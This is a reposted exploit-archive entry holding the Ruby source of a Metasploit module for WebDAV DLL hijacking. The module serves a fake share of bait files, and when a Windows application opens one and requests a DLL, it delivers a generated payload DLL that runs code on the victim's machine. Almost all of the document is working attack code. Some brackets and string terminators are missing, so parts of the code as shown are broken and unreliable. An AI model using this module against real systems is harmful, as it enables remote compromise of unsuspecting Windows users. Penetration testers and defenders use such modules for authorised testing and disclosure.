发布 2010-09-24 漏洞条目

WebDAV – Application DLL Hijacker (Metasploit)

Exploit Source

# $Id: webdav_dll_hijacker.rb 10454 2010-09-24 01:11:05Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ManualRanking

# This module acts as an HTTP server

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'WebDAV Application DLL Hijacker',

'Description' => %q{

This module presents a directory of file extensions that can lead to

code execution when opened from the share. The default EXTENSIONS option

must be configured to specify a vulnerable application type.

'Author' =>

[

'hdm', # Module itself

'jduck', # WebDAV implementation

'jcran', # Exploit vectors

'License' => MSF_LICENSE,

'Version' => '$Revision: 10454 $',

'References' =>

[

['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],

['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 2048,

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', { } ]

'DisclosureDate' => 'Aug 18 2010',

'DefaultTarget' => 0))

register_options(

[

OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),

OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),

OptString.new( 'BASENAME', [ true, "The base name for the listed files.", "policy" ]),

OptString.new( 'SHARENAME', [ true, "The name of the top-level share.", "documents" ]),

OptString.new( 'EXTENSIONS', [ true, "The list of extensions to generate", "txt" ])

], self.class)

deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL

end

def on_request_uri(cli, request)

case request.method

when 'OPTIONS'

process_options(cli, request)

when 'PROPFIND'

process_propfind(cli, request)

when 'GET'

process_get(cli, request)

else

print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

end

def process_get(cli, request)

myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

webdav = "\\\\#{myhost}\\"

if blacklisted_path?(request.uri)

print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

cli.send_response(resp)

return

end

if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)

print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")

return if ((p = regenerate_payload(cli)) == nil)

data = generate_payload_dll({ :code => p.encoded })

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

# Treat index.html specially

if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)

print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")

resp = create_response(200, "OK")

resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

end

# Anything else is probably a request for a data file...

print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")

data = "HELLO!"

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

end

# OPTIONS requests sent by the WebDav Mini-Redirector

def process_options(cli, request)

print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")

headers = {

'MS-Author-Via' => 'DAV',

'DASL' => '<DAV:sql>',

'DAV' => '1, 2',

'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',

'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',

'Cache-Control' => 'private'

}

resp = create_response(207, "Multi-Status")

headers.each_pair {|k,v| resp[k] = v }

resp.body = ""

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

# PROPFIND requests sent by the WebDav Mini-Redirector

def process_propfind(cli, request)

path = request.uri

print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")

body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

my_uri = "http://#{my_host}/"

if path !~ /\/$/

if blacklisted_path?(path)

print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"

resp = create_response(404, "Not Found")

resp.body = ""

cli.send_response(resp)

return

end

if path.index(".")

print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<lp2:executable>T</lp2:executable>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml; charset="utf8"'

cli.send_response(resp)

return

else

print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"

resp = create_response(301, "Moved")

resp["Location"] = path + "/"

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

end

print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

if request["Depth"].to_i > 0

trail = path.split("/")

trail.shift

case trail.length

when 0

body << generate_shares(path)

when 1

body << generate_files(path)

end

else

print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"

end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml; charset="utf8"'

cli.send_response(resp)

end

def generate_shares(path)

share_name = datastore['SHARENAME']

%Q|

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{share_name}/</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

end

def generate_files(path)

trail = path.split("/")

return "" if trail.length < 2

base = datastore['BASENAME']

exts = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)

files = ""

exts.each do |ext|

files << %Q|

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{base}.#{ext}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<lp2:executable>T</lp2:executable>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

end

files

end

def gen_timestamp(ttype=nil)

::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")

end

def gen_datestamp(ttype=nil)

::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")

end

# This method rejects requests that are known to break exploitation

def blacklisted_path?(uri)

return true if uri =~ /\.exe/i

return true if uri =~ /\.(config|manifest)/i

return true if uri =~ /desktop\.ini/i

return true if uri =~ /lib.*\.dll/i

return true if uri =~ /\.tmp$/i

return true if uri =~ /(pcap|packet)\.dll/i

false

end

def exploit

myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

@exploit_unc = "\\\\#{myhost}\\"

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'

raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'

end

print_status("")

print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\")

print_status("")

super

end

作者: Metasploit
日期: 2010-09-24
类别: remote
平台: windows

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